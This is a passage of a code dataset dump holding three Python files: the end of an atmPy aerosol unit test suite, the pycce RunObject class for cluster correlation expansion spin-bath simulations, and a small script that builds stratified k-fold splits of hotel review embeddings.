soll.columns.name = out.temperature.data.columns.name\n # self.assertTrue(np.all(out.temperature.data.values == soll.values))\n self.assertLess(abs((out.temperature.data.values - soll.values).sum()), 1e-2)\n\n # vapor pressure\n soll = pd.read_csv(test_data_folder + '1twr10xC1_p_vapor.csv', index_col=0,\n dtype={'vap_pres_25m': np.float32, 'vap_pres_60m': np.float32}\n )\n soll.columns.name = out.vapor_pressure.data.columns.name\n # self.assertTrue(np.all(out.vapor_pressure.data.values == soll.values))\n self.assertLess(abs((out.vapor_pressure.data.values - soll.values).sum()), 1e-2)\n\n\nclass SizeDistTest(TestCase):\n def test_concentrations(self):\n sd = size_distribution.sizedistribution.simulate_sizedistribution(diameter=[15, 3000],\n numberOfDiameters=50,\n centerOfAerosolMode=222,\n widthOfAerosolMode=0.18,\n numberOfParticsInMode=888)\n\n self.assertEqual(round(sd.particle_number_concentration, 4) , round(888.0, 4))\n self.assertEqual(round(float(sd.particle_surface_concentration.values), 4) , round(194.42186363605904, 4))\n self.assertEqual(round(float(sd.particle_volume_concentration.values), 4) , round(11.068545094055812, 4))\n\n sd.parameters4reductions.particle_density = 2.2\n self.assertEqual(round(float(sd.particle_mass_concentration), 4), round(24.350799206922783, 4))\n\n\n def test_mixing_ratios(self):\n sd = size_distribution.sizedistribution.simulate_sizedistribution_timeseries(diameter=[15, 3000],\n numberOfDiameters=50,\n centerOfAerosolMode=222,\n widthOfAerosolMode=0.18,\n numberOfParticsInMode=888,\n startDate='2015-10-23 16:00:00',\n endDate='2015-10-23 17:00:00',\n frequency=60)\n\n sd.data = sd.data.iloc[[0], :]\n sd.housekeeping = atmPy.general.timeseries.TimeSeries(\n pd.DataFrame(np.array([[250.], [750.]]).transpose(), index=sd.data.index,\n columns=['temperature_K', 'pressure_Pa']))\n sd.parameters4reductions.particle_density = 2.8\n\n self.assertEqual(round(float(sd.particle_mass_mixing_ratio.data.values) * 1e6, 4), round(2.96533739732464, 4))\n\n def test_moment_conversion(self):\n sd = size_distribution.sizedistribution.simulate_sizedistribution(diameter=[15, 3000],\n numberOfDiameters=50,\n centerOfAerosolMode=222,\n widthOfAerosolMode=0.18,\n numberOfParticsInMode=888)\n\n sd_dNdDp = sd.convert2dNdDp()\n sd_dNdlogDp = sd.convert2dNdlogDp()\n sd_dSdDp = sd.convert2dSdDp()\n sd_dSdlogDp = sd.convert2dSdlogDp()\n sd_dVdDp = sd.convert2dVdDp()\n sd_dVdlogDp = sd.convert2dVdlogDp()\n\n folder = test_data_folder\n\n # sd.save_csv(folder + 'aerosols_size_dist_moments_sd.nc')\n # sd_dNdDp.save_csv(folder + 'aerosols_size_dist_moments_sd_dNdDp.nc')\n # sd_dNdlogDp.save_csv(folder + 'aerosols_size_dist_moments_sd_dNdlogDp.nc')\n # sd_dSdDp.save_csv(folder + 'aerosols_size_dist_moments_sd_dSdDp.nc')\n # sd_dSdlogDp.save_csv(folder + 'aerosols_size_dist_moments_sd_dSdlogDp.nc')\n # sd_dVdDp.save_csv(folder + 'aerosols_size_dist_moments_sd_dVdDp.nc')\n # sd_dVdlogDp.save_csv(folder + 'aerosols_size_dist_moments_sd_dVdlogDp.nc')\n\n sd_soll = size_distribution.sizedistribution.open_csv(folder + 'aerosols_size_dist_moments_sd.nc')\n sd_dNdDp_soll = size_distribution.sizedistribution.open_csv(folder + 'aerosols_size_dist_moments_sd_dNdDp.nc')\n sd_dNdlogDp_soll = size_distribution.sizedistribution.open_csv(folder + 'aerosols_size_dist_moments_sd_dNdlogDp.nc')\n sd_dSdDp_soll = size_distribution.sizedistribution.open_csv(folder + 'aerosols_size_dist_moments_sd_dSdDp.nc')\n sd_dSdlogDp_soll = size_distribution.sizedistribution.open_csv(folder + 'aerosols_size_dist_moments_sd_dSdlogDp.nc')\n sd_dVdDp_soll = size_distribution.sizedistribution.open_csv(folder + 'aerosols_size_dist_moments_sd_dVdDp.nc')\n sd_dVdlogDp_soll = size_distribution.sizedistribution.open_csv(folder + 'aerosols_size_dist_moments_sd_dVdlogDp.nc')\n\n threshold = 1e-10\n msg = '\\nthreshold: {}\\nisnan: {}\\nisnotnan: {}'.format((sd.data.values.max() * threshold),\n np.isnan(sd.data.values - sd_soll.data.values).sum(),\n (~np.isnan(sd.data.values - sd_soll.data.values)).sum())\n self.assertLess(abs((sd.data.values - sd_soll.data.values)).sum() , (sd.data.values.max() * threshold), msg = msg)\n self.assertLess(abs((sd_dNdDp.data.values - sd_dNdDp_soll.data.values)).sum() , (sd_dNdDp.data.values.max() * threshold))\n self.assertLess(abs((sd_dSdDp.data.values - sd_dSdDp_soll.data.values)).sum() , (sd_dSdDp.data.values.max() * threshold))\n self.assertLess(abs((sd_dVdDp.data.values - sd_dVdDp_soll.data.values)).sum() , (sd_dVdDp.data.values.max() * threshold))\n self.assertLess(abs((sd_dNdlogDp.data.values - sd_dNdlogDp_soll.data.values)).sum() , (sd_dNdlogDp.data.values.max() * threshold))\n self.assertLess(abs((sd_dSdlogDp.data.values - sd_dSdlogDp_soll.data.values)).sum() , (sd_dSdlogDp.data.values.max() * threshold))\n self.assertLess(abs((sd_dVdlogDp.data.values - sd_dVdlogDp_soll.data.values)).sum() , (sd_dVdlogDp.data.values.max() * threshold))\n\n def test_opt_prop_LS(self):\n sd = size_distribution.sizedistribution.simulate_sizedistribution_layerseries(diameter=[10, 2500],\n numberOfDiameters=100,\n heightlimits=[0, 6000],\n noOflayers=100,\n layerHeight=[500.0, 4000.0],\n layerThickness=[100.0, 300.0],\n layerDensity=[1000.0, 50.0],\n layerModecenter=[200.0, 800.0],\n widthOfAerosolMode=0.2)\n\n sd.optical_properties.parameters.refractive_index = 1.56\n sd.optical_properties.parameters.wavelength = 515\n\n fname = os.path.join(test_data_folder, 'aerosols_size_dist_LS_optprop.nc')\n sdl = atmPy.file_io.open_netCDF(fname)\n\n self.sizedistributionLS = sd\n\n # self.assertTrue(np.all(sd.optical_properties.aerosol_optical_depth_cumulative_VP.data.values == sdl.data.values))\n self.assertLess(abs((sd.optical_properties.aod_cumulative.data.values - sdl.data.values).sum()), 1e-10)\n\n def test_growth_opt_propLS(self):\n\n # use the same dist_LS as in test_opt_prop_LS\n sdto = SizeDistTest()\n sdto.test_opt_prop_LS()\n\n # generate some RH which we can put into the housekeeping\n hk = pd.DataFrame(index=sdto.sizedistributionLS.data.index, columns=['Relative_humidity'])\n hk['Relative_humidity'] = 90\n hk = vertical_profile.VerticalProfile(hk)\n sdto.sizedistributionLS.housekeeping = hk\n sdto.sizedistributionLS.hygroscopicity.parameters.RH = hk\n\n # let it grow\n sdto.sizedistributionLS.hygroscopicity.parameters.kappa = 0.7\n distg = sdto.sizedistributionLS.hygroscopicity.grown_size_distribution\n distg.optical_properties.parameters.wavelength = sdto.sizedistributionLS.optical_properties.parameters.wavelength.value\n\n # load the test data\n fname = os.path.join(test_data_folder, 'aerosols_size_dist_LS_hyg_growth_optprop.nc')\n aodcs = atmPy.file_io.open_netCDF(fname)\n\n threshold = distg.optical_properties.aod_cumulative.data.values.sum() * 1e-9\n\n # res = np.abs(distg.optical_properties.aerosol_optical_depth_cumulative_VP.data.values\n # - aodcs.data.values).sum() < threshold\n self.assertLess(np.abs(distg.optical_properties.aod_cumulative.data.values\n - aodcs.data.values).sum(), threshold)\n\n\n\nclass PhysicsHygroscopicityTest(TestCase):\n def test_hygroscopic_growth_factor_distributions(self):\n fname = os.path.join(test_data_folder, 'sgptdmahygC1.b1.20120601.004227.cdf')\n out = arm.read_netCDF(fname, data_quality='patchy', leave_cdf_open=False)\n hgfd = hyg.HygroscopicGrowthFactorDistributions(out.hyg_distributions.data.loc[:, 200.0, :].transpose())\n # hgfd.plot()\n\n fname = os.path.join(test_data_folder, 'aerosols_physics_hygroscopicity_growth_mode.csv')\n growth_mode_soll = pd.read_csv(fname, index_col=0)\n\n threshold = growth_mode_soll.ratio.sum() * 1e-5\n self.assertLess(np.abs(hgfd.growth_modes_gf.ratio - growth_mode_soll.ratio).sum(), threshold)\n\n threshold = growth_mode_soll.gf.sum() * 1e-7\n self.assertLess(np.abs(hgfd.growth_modes_gf.gf - growth_mode_soll.gf).sum(), threshold)\n\n #######\n fname = os.path.join(test_data_folder, 'aerosols_physics_hygroscopicity_mixing_state.csv')\n mixing_state_soll = pd.read_csv(fname, index_col=0)\n\n threshold = mixing_state_soll.mixing_state.sum() * 1e-6\n self.assertLess(np.abs(hgfd.mixing_state.mixing_state - mixing_state_soll.mixing_state).sum(), threshold)\n\n def test_fRH_kappa(self):\n \"\"\"A size distribution time series (ARM tdmaaps) with a variable index of refraction (ARM acsm) is used to\n calculate fRH at RH 85 and 40 %. Kappa is constant. In the future I probably want to extend that to a variable\n kappa\"\"\"\n fname = 'test_data/sgptdmaapssizeC1.c1.20120601.004227.cdf'\n tdmaaps = arm.read_netCDF(fname, data_quality='patchy', leave_cdf_open=False)\n sd = tdmaaps.size_distribution\n\n fname = 'test_data/sgpaosacsmC1.b1.20120601.002649.cdf'\n acsm = arm.read_netCDF(fname, data_quality='patchy', leave_cdf_open=False)\n\n sd.parameters4reductions.refractive_index = acsm.refractive_index\n\n sd.hygroscopicity.parameters.kappa = 0.6\n sd.optical_properties.parameters.wavelength = 550\n sd.optical_properties.parameters.refractive_index = 1.5\n\n fname = './test_data/aerosols_physics_hygroscopicity_fRH_kappa.csv'\n fRHk_soll = atmPy.file_io.open_netCDF(fname)\n\n threshold = sd.hygroscopicity.f_RH_85_40.data.sum().values[0] * 1e-7\n # return sd.hygroscopicity.f_RH_85_40.data, fRHk_soll.data\n self.assertLess(np.abs(sd.hygroscopicity.f_RH_85_40.data - fRHk_soll.data).sum().values[0], threshold)\n\n def test_fRH_growthdist(self):\n \"\"\"As above but instead of a kappa here a growth distribution time series defines how particles grow\"\"\"\n fname = 'test_data/sgptdmaapssizeC1.c1.20120601.004227.cdf'\n tdmaaps = arm.read_netCDF(fname, data_quality='patchy', leave_cdf_open=False)\n sd = tdmaaps.size_distribution\n\n fname = 'test_data/sgpaosacsmC1.b1.20120601.002649.cdf'\n acsm = arm.read_netCDF(fname, data_quality='patchy', leave_cdf_open=False)\n\n sd.parameters4reductions.refractive_index = acsm.refractive_index\n\n fname = 'test_data/sgptdmahygC1.b1.20120601.004227.cdf'\n out = arm.read_netCDF(fname, data_quality='patchy', leave_cdf_open=False)\n hgfd = out.hyg_distributions_d200nm\n sd.hygroscopicity.parameters.growth_distribution = hgfd\n sd.optical_properties.parameters.wavelength = 550\n\n fname = './test_data/aerosol_fRH_from_size_dist_and_growthdistribution.cdf'\n fRH_gd_soll = atmPy.file_io.open_netCDF(fname)\n\n threshold = sd.hygroscopicity.f_RH_85_40.data.sum().values[0] * 1e-5\n # np.abs(sd.hygroscopicity.f_RH_85_40.data - fRH_gd_soll.data).sum().values[0] < threshold\n self.assertLess(np.abs(sd.hygroscopicity.f_RH_85_40.data - fRH_gd_soll.data).sum().values[0], threshold)\n","sub_path":"atmPy/unit_testing/nose_tests.py","file_name":"nose_tests.py","file_ext":"py","file_size_in_byte":14896,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"409108972","text":"import operator\n\nimport numpy as np\nfrom pycce.bath.array import BathArray\nfrom pycce.h.total import total_hamiltonian\nfrom pycce.h.functions import overhauser_central, overhauser_bath\nfrom pycce.run.mc import monte_carlo_method_decorator\n\nfrom .clusters import cluster_expansion_decorator, interlaced_decorator\n\n\nclass RunObject:\n r\"\"\"\n Abstract class of the CCE simulation runner.\n\n Implements cluster correlation expansion, interlaced averaging, and sampling over random bath states.\n Requires definition of the following methods, from which the kernel will be automatically created:\n\n - ``.generate_hamiltonian(self)`` method which, using the attributes of the ``self`` object,\n computes cluster hamiltonian stored in ``self.cluster_hamiltonian``.\n\n - ``.compute_result(self)`` method which, using the attributes of the ``self``, computes the resulting\n quantity for the given cluster.\n\n Alternatively, user can define the kernel manually. Then the following methods have to be overridden:\n\n - ``.kernel(self, cluster, *args, **kwargs)`` method which takes indexes of the bath spins in the given\n cluster as a first positional argument. This method is required for usual CCE runs.\n\n - ``.interlaced_kernel(self, cluster, supercluster, *args, **kwargs)`` method which takes\n indexes of the bath spins in the given cluster as a first positional argument, indexes of the supercluster\n as a second positional argument. This method is required for interlaced CCE runs.\n\n Args:\n\n timespace (ndarray with shape (t, )): Time delay values at which to compute propagators.\n\n clusters (dict):\n Clusters included in different CCE orders of structure ``{int order: ndarray([[i,j],[i,j]])}``.\n\n bath (BathArray with shape (n,)): Array of *n* bath spins.\n\n magnetic_field (ndarray): Magnetic field of type ``magnetic_field = np.array([Bx, By, Bz])``.\n\n alpha (int or ndarray with shape (2s+1, )): :math:`\\ket{0}` state of the qubit in :math:`S_z`\n basis or the index of eigenstate to be used as one.\n\n beta (int or ndarray with shape (2s+1, )): :math:`\\ket{1}` state of the qubit in :math:`S_z` basis\n or the index of the eigenstate to be used as one.\n\n state (ndarray with shape (2s+1, )):\n Initial state of the central spin, used in gCCE and noise autocorrelation calculations.\n Defaults to :math:`\\frac{1}{N}(\\ket{0} + \\ket{1})` if not set **OR** if alpha and beta are provided as\n indexes.\n\n\n spin (float): Value of the central spin.\n\n zfs (ndarray with shape (3,3)): Zero Field Splitting tensor of the central spin.\n\n gyro (float or ndarray with shape (3, 3)):\n Gyromagnetic ratio of the central spin\n\n **OR**\n\n tensor corresponding to interaction between magnetic field and\n central spin.\n\n nbstates (int): Number of random bath states to sample over in bath state sampling runs.\n\n bath_state (ndarray): Array of bath states in any accepted format.\n\n seed (int): Seed for the random number generator in bath states sampling.\n\n masked (bool):\n True if mask numerically unstable points (with result > result[0]) in the sampling over bath states\n False if not. Default True.\n\n fixstates (dict):\n If provided, contains indexes of bath spins with fixed pure state for sampling runs and interlaced runs.\n\n Each key is the index of bath spin,\n value - fixed :math:`\\hat{I}_z` projection of the **pure** :math:`\\hat{I}_z` eigenstate of bath spin.\n\n projected_bath_state (ndarray with shape (n,)):\n Array with z-projections of the bath spins states.\n Overridden in runs with random bath state sampling.\n\n parallel (bool):\n True if parallelize calculation of cluster contributions over different mpi processes.\n Default False.\n\n direct (bool):\n True if use direct approach in run (requires way more memory but might be more numerically stable).\n False if use memory efficient approach. Default False.\n\n parallel_states (bool):\n True if use MPI to parallelize the calculations of density matrix\n for each random bath state.\n\n **kwargs: Additional keyword arguments to be set as the attributes of the given object.\n\n \"\"\"\n\n result_operator = operator.imul\n \"\"\"Operator which will combine the result of expansion,.\n \n Default: ``operator.imul``.\"\"\"\n contribution_operator = operator.ipow\n \"\"\"Operator which will combine multiple contributions of the same cluster \n in the optimized approach.\n \n Default: ``operator.ipow``.\"\"\"\n removal_operator = operator.itruediv\n \"\"\"Operator which will remove subcluster contribution from the given cluster contribution.\n First argument cluster contribution, second - subcluster contribution.\n \n Defalut: ``operator.itruediv``.\"\"\"\n addition_operator = np.prod\n \"\"\"Group operation which will combine contributions from the different clusters into\n one contribution in the direct approach.\n \n Default: ``numpy.prod``.\"\"\"\n\n def __init__(self, timespace,\n clusters, bath,\n magnetic_field,\n alpha, beta, state,\n spin, zfs, gyro,\n nbstates=None,\n bath_state=None,\n seed=None,\n masked=True,\n fixstates=None,\n projected_bath_state=None,\n parallel=False,\n direct=False,\n parallel_states=False,\n **kwargs):\n\n self.nbstates = nbstates\n \"\"\"int: Number of random bath states to sample over in bath state sampling runs.\"\"\"\n self.timespace = timespace\n \"\"\"ndarray with shape (t, ): Time points at which result will be computed.\"\"\"\n self.clusters = clusters\n \"\"\"dict: Clusters included in different CCE orders of structure ``{int order: ndarray([[i,j],[i,j]])}``.\"\"\"\n self.bath = bath\n \"\"\"BathArray with shape (n,): Array of *n* bath spins.\"\"\"\n self.spin = spin\n \"\"\"float: Value of the central spin\"\"\"\n self.zfs = zfs\n \"\"\"ndarray with shape (3, 3): Zero Field Splitting tensor of the central spin.\"\"\"\n self.gyro = gyro\n \"\"\"float or ndarray with shape (3, 3):\n Gyromagnetic ratio of the central spin\n\n **OR**\n\n tensor corresponding to interaction between magnetic field and\n central spin.\"\"\"\n self.bath_state = bath_state\n \"\"\"ndarray: Array of bath states in any accepted format.\"\"\"\n self.projected_bath_state = projected_bath_state\n \"\"\"ndarray with shape (n,): Array with z-projections of the bath spins states.\n Overridden in runs with random bath state sampling.\"\"\"\n self.magnetic_field = magnetic_field\n \"\"\"ndarray: Magnetic field of type ``magnetic_field = np.array([Bx, By, Bz])``.\"\"\"\n alpha = np.asarray(alpha)\n\n beta = np.asarray(beta)\n\n self.initial_alpha = alpha\n r\"\"\"ndarray: :math:`\\ket{0}` state of the qubit in :math:`S_z`\n basis or the index of eigenstate to be used as one.\"\"\"\n self.initial_beta = beta\n r\"\"\"ndarray: :math:`\\ket{1}` state of the qubit in :math:`S_z`\n basis or the index of eigenstate to be used as one.\"\"\"\n self.alpha = alpha\n r\"\"\"ndarray: :math:`\\ket{0}` state of the qubit in :math:`S_z`\n basis. If initially provided as index, generated as a state during the run.\"\"\"\n self.beta = beta\n r\"\"\"ndarray: :math:`\\ket{1}` state of the qubit in :math:`S_z`\n basis. If initially provided as index, generated as a state during the run.\"\"\"\n self.state = state\n r\"\"\"ndarray: Initial state of the central spin, used in gCCE and noise autocorrelation calculations.\n \n Defaults to :math:`\\frac{1}{N}(\\ket{0} + \\ket{1})` if not set **OR** if alpha and beta are provided as\n indexes.\"\"\"\n self.parallel = parallel\n \"\"\"bool: True if parallelize calculation of cluster contributions over different mpi processes.\n Default False.\"\"\"\n self.parallel_states = parallel_states\n \"\"\"bool: True if use MPI to parallelize the calculations of density matrix\n for each random bath state.\"\"\"\n self.direct = direct\n \"\"\"bool: True if use direct approach in run (requires way more memory but might be more numerically stable).\n False if use memory efficient approach. Default False.\"\"\"\n # MC Bath state sampling parameters\n self.seed = seed\n \"\"\"int: Seed for the random number generator in bath states sampling.\"\"\"\n self.masked = masked\n \"\"\"bool: True if mask numerically unstable points (with result > result[0]) in the sampling over bath states\n False if not. Default True.\"\"\"\n self.fixstates = fixstates\n r\"\"\"dict: If provided, contains indexes of bath spins with fixed pure state for sampling runs and interlaced runs.\n\n Each key is the index of bath spin,\n value - fixed :math:`\\hat{I}_z` projection of the **pure** :math:`\\hat{I}_z` eigenstate of bath spin.\"\"\"\n\n for k in kwargs:\n setattr(self, k, kwargs[k])\n\n # self._cluster_hamiltonian = None\n\n # Central spin hamiltonian\n self.hamiltonian = None\n \"\"\"ndarray: central spin hamiltonian.\"\"\"\n self.energies = None\n \"\"\"ndarray: Eigen energies of the central spin hamiltonian.\"\"\"\n self.eigenvectors = None\n \"\"\"ndarray: Eigen states of the central spin hamiltonian.\"\"\"\n self.cluster = None\n \"\"\"BathArray: Array of the bath spins inside the given cluster.\"\"\"\n\n self.states = None\n \"\"\"ndarray: Array of the states of bath spins inside the given cluster.\"\"\"\n self.others = None\n \"\"\"BathArray: Array of the bath spins outside the given cluster.\"\"\"\n self.other_states = None\n \"\"\"ndarray: Array of the z-projections of the states of bath spins outside the given cluster.\"\"\"\n self.cluster_hamiltonian = None\n \"\"\"Hamiltonian or tuple: Full hamiltonian of the given cluster. In conventional CCE, tuple with two \n projected hamiltonians.\"\"\"\n self.result = None\n \"\"\"ndarray: Result of the calculation.\"\"\"\n\n def preprocess(self):\n \"\"\"\n Method which will be called before cluster-expanded run.\n \"\"\"\n self.hamiltonian = total_hamiltonian(BathArray((0,)), self.magnetic_field, zfs=self.zfs, others=self.bath,\n other_states=self.projected_bath_state,\n central_gyro=self.gyro, central_spin=self.spin)\n\n self.energies, self.eigenvectors = np.linalg.eigh(self.hamiltonian)\n\n alpha = self.initial_alpha\n beta = self.initial_beta\n\n if (not alpha.shape) or (not beta.shape):\n\n alpha = self.eigenvectors[:, alpha]\n beta = self.eigenvectors[:, beta]\n\n state = (alpha + beta) / np.linalg.norm(alpha + beta)\n\n self.alpha = alpha\n self.beta = beta\n\n else:\n state = self.state\n\n self.state = state\n\n def postprocess(self):\n \"\"\"\n Method which will be called after cluster-expanded run.\n \"\"\"\n pass\n\n def generate_hamiltonian(self):\n raise NotImplementedError\n\n def compute_result(self):\n raise NotImplementedError\n\n def kernel(self, cluster, *args, **kwargs):\n \"\"\"\n Central kernel that will be called in the cluster-expanded calculations\n\n Args:\n cluster (ndarray): Indexes of the bath spins in the given cluster.\n *args: Positional arguments of the kernel.\n **kwargs: Keyword arguments of the kernel.\n\n Returns:\n\n ndarray: Results of the calculations.\n\n \"\"\"\n self.cluster = self.bath[cluster]\n\n self.states, self.others, self.other_states = _check_projected_states(cluster, self.bath, self.bath_state,\n self.projected_bath_state)\n\n self.cluster_hamiltonian = self.generate_hamiltonian()\n\n result = self.compute_result()\n\n return result\n\n @property\n def __inner_kernel(self):\n return cluster_expansion_decorator(self.kernel,\n result_operator=self.result_operator,\n contribution_operator=self.contribution_operator,\n removal_operator=self.removal_operator,\n addition_operator=self.addition_operator)\n\n def run(self, *args, **kwargs):\n \"\"\"\n Method that runs cluster-expanded single calculation.\n\n Args:\n *args: Positional arguments of the kernel.\n **kwargs: Keyword arguments of the kernel.\n\n Returns:\n\n ndarray: Results of the calculations.\n\n \"\"\"\n self.preprocess()\n self.result = self.__inner_kernel(self, *args, **kwargs)\n self.postprocess()\n return self.result\n\n @monte_carlo_method_decorator\n def __inner_sampled_run(self, *args, **kwargs):\n return self.run(*args, **kwargs)\n\n def sampling_run(self, *args, **kwargs):\n \"\"\"\n Method that runs bath sampling calculations.\n\n Args:\n *args: Positional arguments of the kernel.\n **kwargs: Keyword arguments of the kernel.\n\n Returns:\n\n ndarray: Results of the calculations.\n\n \"\"\"\n self.result = self.__inner_sampled_run(*args,\n **kwargs)\n return self.result\n\n def interlaced_kernel(self, cluster, supercluster, *args, **kwargs):\n \"\"\"\n Central kernel that will be called in the cluster-expanded calculations\n with interlaced averaging of bath spin states.\n\n Args:\n cluster (ndarray): Indexes of the bath spins in the given cluster.\n\n supercluster (ndarray): Indexes of the bath spins in the supercluster of the given cluster.\n Supercluster is the union of all clusters in ``.clusters`` attribute, for which given cluster\n is a subset.\n\n *args: Positional arguments of the kernel.\n\n **kwargs: Keyword arguments of the kernel.\n\n Returns:\n\n ndarray: Results of the calculations.\n\n \"\"\"\n\n self.cluster = self.bath[cluster]\n\n self.states, self.others, self.other_states = _check_projected_states(supercluster, self.bath, self.bath_state,\n self.projected_bath_state)\n\n self.cluster_hamiltonian = self.generate_hamiltonian()\n\n projected = isinstance(self.cluster_hamiltonian, tuple)\n\n sc_mask = ~np.isin(supercluster, cluster)\n\n outer_indexes = supercluster[sc_mask]\n outer_spin = self.bath[outer_indexes]\n\n if projected:\n initial_h0, initial_h1 = (c.data for c in self.cluster_hamiltonian)\n vectors = self.cluster_hamiltonian[0].vectors\n\n else:\n initial_h0 = self.cluster_hamiltonian.data\n initial_h1 = None\n vectors = self.cluster_hamiltonian.vectors\n\n result = 0\n i = 0\n\n for i, state in enumerate(generate_supercluser_states(self, supercluster)):\n\n self.states = state[~sc_mask]\n outer_states = state[sc_mask]\n\n if outer_spin.size > 0:\n addition = 0 if projected else overhauser_central(vectors[-1], outer_spin['A'], outer_states)\n\n for ivec, n in zip(vectors, self.cluster):\n addition += overhauser_bath(ivec, n['xyz'], n.gyro, outer_spin.gyro,\n outer_spin['xyz'], outer_states)\n\n if projected:\n self.cluster_hamiltonian[0].data = initial_h0 + addition\n self.cluster_hamiltonian[1].data = initial_h1 + addition\n\n else:\n self.cluster_hamiltonian.data = initial_h0 + addition\n\n result += self.compute_result()\n\n result /= i + 1\n return result\n\n @property\n def __inner_interlaced_kernel(self):\n return interlaced_decorator(self.interlaced_kernel,\n result_operator=self.result_operator,\n contribution_operator=self.contribution_operator)\n\n def interlaced_run(self, *args, **kwargs):\n \"\"\"\n Method that runs cluster-expanded single calculation with interlaced averaging of bath spin states.\n\n Args:\n *args: Positional arguments of the interlaced kernel.\n **kwargs: Keyword arguments of the interlaced kernel.\n\n Returns:\n\n ndarray: Results of the calculations.\n\n \"\"\"\n self.preprocess()\n self.result = self.__inner_interlaced_kernel(self, *args, **kwargs)\n self.postprocess()\n return self.result\n\n @monte_carlo_method_decorator\n def __inner_sampled_interlaced_run(self, *args, **kwargs):\n return self.interlaced_run(*args, **kwargs)\n\n def sampling_interlaced_run(self, *args, **kwargs):\n \"\"\"\n Method that runs bath sampling calculations with interlaced averaging of bath spin states.\n\n Args:\n *args: Positional arguments of the interlaced kernel.\n **kwargs: Keyword arguments of the interlaced kernel.\n\n Returns:\n\n ndarray: Results of the calculations.\n\n \"\"\"\n self.result = self.__inner_sampled_interlaced_run(*args,\n **kwargs)\n return self.result\n\n @classmethod\n def from_simulator(cls, sim, **kwargs):\n r\"\"\"\n Class method to generate ``RunObject`` from the properties of ``Simulator`` object.\n\n Args:\n sim (Simulator): Object, whose properties will be used to initialize ``RunObject`` instance.\n **kwargs: Additional keyword arguments that will replace ones, recovered from the ``Simulator`` object.\n\n Returns:\n RunObject: New instance of ``RunObject`` class.\n\n \"\"\"\n parameters = vars(sim).copy()\n\n for k in list(parameters.keys()):\n if k[0] == '_':\n parameters[k[1:]] = parameters.pop(k)\n\n parameters.update(**kwargs)\n run = cls(**parameters)\n\n return run\n\n\ndef generate_supercluser_states(self, supercluster):\n \"\"\"\n Helper function to generate all possible pure states of the given supercluster.\n\n Args:\n self (RunObject): Instance of the ``RunObject`` class, used in the calculation.\n supercluster (ndarray with shape (n, )): Indexes of the bath spins in the supercluster.\n\n Yields:\n ndarray with shape (n, ): Pure state of the given supercluster.\n\n \"\"\"\n scspins = self.bath[supercluster]\n states = np.asarray(np.meshgrid(*(np.linspace(-s.s, s.s, s.dim) for s in scspins))).T.reshape(-1, scspins.size)\n\n if self.fixstates is not None:\n\n indexes = np.fromiter((ind for ind in self.fixstates.keys()), dtype=np.int32)\n\n which = np.isin(supercluster, indexes)\n\n if any(which):\n\n newindexes = np.arange(supercluster.size)\n\n for k, nk in zip(supercluster[which], newindexes[which]):\n states = states[states[:, nk] == self.fixstates[which]]\n\n for single in states:\n yield single\n\n\ndef _check_projected_states(cluster, allspin, states=None, projected_states=None):\n others = None\n other_states = None\n\n if states is not None:\n states = states[cluster]\n\n if projected_states is not None:\n others_mask = np.ones(allspin.shape, dtype=bool)\n others_mask[cluster] = False\n others = allspin[others_mask]\n other_states = projected_states[others_mask]\n\n return states, others, other_states\n","sub_path":"pycce/run/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":20335,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"25810394","text":"import gzip\nimport numpy as np\nimport os\nimport pickle\nfrom sklearn.model_selection import StratifiedKFold\n\nDATASET_DIR = os.path.join(\"..\", \"data\", \"df_with_embeddings.gz\")\n\nwith gzip.open(DATASET_DIR, \"rb\") as stream:\n df = pickle.load(stream)\n\nX = np.array(df[\"Review_Embeddings\"].to_list()).squeeze()\ny = df['Rating'].to_numpy() - 1\n\nskf = StratifiedKFold(n_splits=5, shuffle=True, random_state=0)\n\nstratified_datasets_list = []\nfor train_index, test_index in skf.split(X, y):\n y_train, y_test = y[train_index], y[test_index]\n x_train, x_test = X[train_index], X[test_index]\n stratified_datasets_list.append((x_train, x_test, y_train, y_test))\n\nstratified_dataset_filepath = os.path.join(\"..\", \"data\", \"stratified_dataset.gz\")\nwith gzip.open(stratified_dataset_filepath, \"wb\") as stream:\n pickle.dump(stratified_datasets_list, stream)\n\nprint(\"Stratified Dataset saved at\", stratified_dataset_filepath)","sub_path":"Trip Advisor Hotel Reviews/code/dataset_stratified_splitter.py","file_name":"dataset_stratified_splitter.py","file_ext":"py","file_size_in_byte":920,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"}